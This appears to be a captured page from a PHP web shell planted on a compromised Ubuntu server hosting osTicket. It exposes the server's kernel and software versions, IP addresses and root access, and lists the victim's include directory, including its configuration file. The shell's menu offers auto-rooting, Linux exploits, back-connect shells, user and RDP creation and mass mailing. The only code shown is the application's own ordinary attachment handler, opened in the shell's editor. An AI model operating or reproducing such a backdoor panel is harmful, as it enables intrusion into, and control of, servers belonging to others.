Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.attachment.php
<?php /********************************************************************* class.attachment.php Attachment Handler - mainly used for lookup...doesn't save! Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ require_once(INCLUDE_DIR.'class.ticket.php'); require_once(INCLUDE_DIR.'class.file.php'); class Attachment extends VerySimpleModel { static $meta = array( 'table' => ATTACHMENT_TABLE, 'pk' => array('id'), 'select_related' => array('file'), 'joins' => array( 'draft' => array( 'constraint' => array( 'type' => "'D'", 'object_id' => 'Draft.id', ), ), 'file' => array( 'constraint' => array( 'file_id' => 'AttachmentFile.id', ), ), 'thread_entry' => array( 'constraint' => array( 'type' => "'H'", 'object_id' => 'ThreadEntry.id', ), ), ), ); var $object; function getId() { return $this->id; } function getFileId() { return $this->file_id; } function getFile() { return $this->file; } function getFilename() { return $this->name ?: $this->file->name; } function getName() { return $this->getFilename(); } function getHashtable() { return $this->ht; } function getInfo() { return $this->getHashtable(); } function getObject() { if (!isset($this->object)) $this->object = ObjectModel::lookup( $this->ht['object_id'], $this->ht['type']); return $this->object; } static function lookupByFileHash($hash, $objectId=0) { $file = static::objects() ->filter(array('file__key' => $hash)); if ($objectId) $file->filter(array('object_id' => $objectId)); return $file->first(); } static function lookup($var, $objectId=0) { return (is_string($var)) ? static::lookupByFileHash($var, $objectId) : parent::lookup($var); } } class GenericAttachments extends InstrumentedList { var $lang; function getId() { return $this->key['object_id']; } function getType() { return $this->key['type']; } function getMimeType() { return $this->getType(); } /** * Drop attachments whose file_id values are not in the included list, * additionally, add new files whose IDs are in the list provided. */ function keepOnlyFileIds($ids, $inline=false, $lang=false) { if (!$ids) $ids = array(); foreach ($this as $A) { if (!isset($ids[$A->file_id]) && $A->lang == $lang && $A->inline == $inline) // Not in the $ids list, delete $this->remove($A); unset($ids[$A->file_id]); } $attachments = array(); // Format $new for upload() with new name foreach ($ids as $id=>$name) { $attachments[] = array( 'id' => $id, 'name' => $name ); } // Everything remaining in $attachments is truly new $this->upload($attachments, $inline, $lang); } function upload($files, $inline=false, $lang=false) { $i=array(); if (!is_array($files)) $files = array($files); foreach ($files as $file) { if (is_numeric($file)) $fileId = $file; elseif (is_array($file) && isset($file['id']) && $file['id']) $fileId = $file['id']; elseif (isset($file['tmp_name']) && ($F = AttachmentFile::upload($file))) $fileId = $F->getId(); elseif ($F = AttachmentFile::create($file)) $fileId = $F->getId(); else continue; $_inline = isset($file['inline']) ? $file['inline'] : $inline; // Check if Attachment exists if ($F && $this->key) $existing = Attachment::objects()->filter(array( 'file__key' => $F->key, 'object_id' => $this->key['object_id'], 'type' => $this->key['type'] ))->first(); $att = $this->add(isset($existing) ? $existing : new Attachment(array( 'file_id' => $fileId, 'inline' => $_inline ? 1 : 0, ))); // Record varying file names in the attachment record if (is_array($file) && isset($file['name'])) { $filename = $file['name']; } if ($filename) { // This should be a noop since the ORM caches on PK $file = $F ?: AttachmentFile::lookup($fileId); // XXX: This is not Unicode safe if ($file && 0 !== strcasecmp($file->name, $filename)) $att->name = $filename; } if ($lang) $att->lang = $lang; // File may already be associated with the draft (in the // event it was deleted and re-added) $att->save(); $i[] = $fileId; } return $i; } function save($file, $inline=true) { $ids = $this->upload($file, $inline); return $ids[0]; } function getInlines($lang=false) { return $this->_getList(false, true, $lang); } function getSeparates($lang=false) { return $this->_getList(true, false, $lang); } function getAll($lang=false) { return $this->_getList(true, true, $lang); } function count($lang=false) { return count($this->getSeparates($lang)); } function _getList($separates=false, $inlines=false, $lang=false) { $base = $this; if ($separates && !$inlines) $base = $base->filter(array('inline' => 0)); elseif (!$separates && $inlines) $base = $base->filter(array('inline' => 1)); if ($lang) $base = $base->filter(array('lang' => $lang)); return $base; } function delete($file_id) { return $this->objects()->filter(array('file_id'=>$file_id))->delete(); } function deleteAll($inline_only=false){ if ($inline_only) return $this->objects()->filter(array('inline' => 1))->delete(); return parent::expunge(); } function deleteInlines() { return $this->deleteAll(true); } static function forIdAndType($id, $type) { return new static(array( 'Attachment', array('object_id' => $id, 'type' => $type) )); } } ?>
Close